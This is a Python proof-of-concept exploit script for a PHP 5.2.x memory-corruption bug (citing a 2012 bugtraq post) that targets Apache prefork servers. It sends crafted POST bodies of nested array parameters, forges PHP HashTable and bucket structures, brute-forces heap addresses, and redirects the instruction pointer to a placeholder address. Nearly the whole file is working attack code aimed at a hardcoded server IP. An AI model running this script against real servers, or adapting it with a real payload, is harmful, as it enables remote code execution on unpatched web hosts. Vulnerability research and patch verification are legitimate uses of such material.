#!/usr/bin/env python
"""
Author: Worawit Wang
Bug Detail: http://seclists.org/bugtraq/2012/Feb/93
Affect version: 5.2.x
This PoC requires apache mpm prefork on Linux 32-bit with below settings to 1
- StartServers
- MinSpareServers
- MaxSpareServers
- MaxClients
"""
import httplib
import sys
from struct import pack, unpack
#host = '127.0.0.1'
host = '192.168.7.30'
port = 80
page = '/anypage.php'
MAX_NEST = 64
MAX_INPUT = 1000
array_equal = "[]"*MAX_NEST + "="
headers = {
"Accept": "text/plain",
"Content-type": "application/x-www-form-urlencoded",
}
heap_offset = 0x18 # offset from allocated heap segment to the real data
hashtable_offset = 140
arBucket_offset = hashtable_offset + 40
bucket_offset = arBucket_offset + 20
fake_data_size = 768*1024
conn = httplib.HTTPConnection(host, port)
# first request
spam_body = "&".join([ str(i) + array_equal for i in xrange(MAX_INPUT) ]*7)
def create_fake_search(base_addr, prebody, total_size=4096, pDestructor=0):
size = 0
fake = prebody
while size < total_size:
fake += "\x00"*(size+hashtable_offset-len(fake)) # padding
arBucket_addr = base_addr + arBucket_offset
# create HashTable
fake += "AAAA" # nTableSize
fake += pack("<III", 0, 0, 0) # nTableMask, nNumOfElements, nNextFreeElement
fake += pack("<I", 0) # pInternalPointer
fake += pack("<I", 0) # pListHead
fake += pack("<I", 0) # pListTail
fake += pack("<I", arBucket_addr) # arBuckets
fake += pack("<I", pDestructor) # pDestructor
fake += "\x00"*3
bucket_addr = base_addr + bucket_offset
fake += "\x00"*(size+arBucket_offset-len(fake)) # padding
# fake arBucket
fake += pack("<I", bucket_addr) # arBuckets
fake += "\x00"*(size+bucket_offset-len(fake)) # padding
# fake bucket
fake += pack("<I", 0) # h
fake += pack("<I", 0) # nKeyLength
fake += pack("<I", bucket_addr+12) # pData
fake += pack("<I", bucket_addr+40) # pDataPtr
fake += pack("<I", 0) # pListNext
fake += pack("<I", 0) # pListNext
fake += pack("<I", 0) # pListLast
fake += pack("<I", 0) # pNext
fake += pack("<I", 0) # pLast
size += 4096
fake += "\x00"*(size-len(fake))
return fake
#addr = 0xb6af9000 + heap_offset
addr = 0xb6600000 + heap_offset
while addr < 0xb7100000:
conn.connect()
print "Trying addr: %08x" % addr
conn.request('POST', page, spam_body, headers=headers)
resp = conn.getresponse()
if resp.status != 500:
print "Unexpect status %d" % resp.status
sys.exit()
data = resp.read()
prebody = "0="+ pack("<I", addr+hashtable_offset)*32 + "&a="
body = create_fake_search(addr, prebody, fake_data_size, 0)
body += "Z"*(len(spam_body)-len(body))
conn.request('POST', page, body, headers=headers)
try:
resp = conn.getresponse()
data = resp.read() # good addr
break
except:
# connection lost ==> bad addr
addr += 0x80000
conn.close()
print
print "Found valid address: %08x" % addr
print "Sending payload to controlling EIP to 0xdeadf00d as PoC"
conn.request('POST', page, spam_body, headers=headers)
resp = conn.getresponse()
if resp.status != 500:
print "Unexpect status %d" % resp.status
sys.exit()
data = resp.read()
# real controlling EIP
prebody = "0="+ pack("<I", addr+hashtable_offset)*32 + "&a="
body = create_fake_search(addr, prebody, fake_data_size, 0xdeadf00d)
body += "Z"*(len(spam_body)-len(body))
conn.request('POST', page, body, headers=headers)
try:
resp = conn.getresponse()
print "Fail"
except:
print "Success"
conn.close()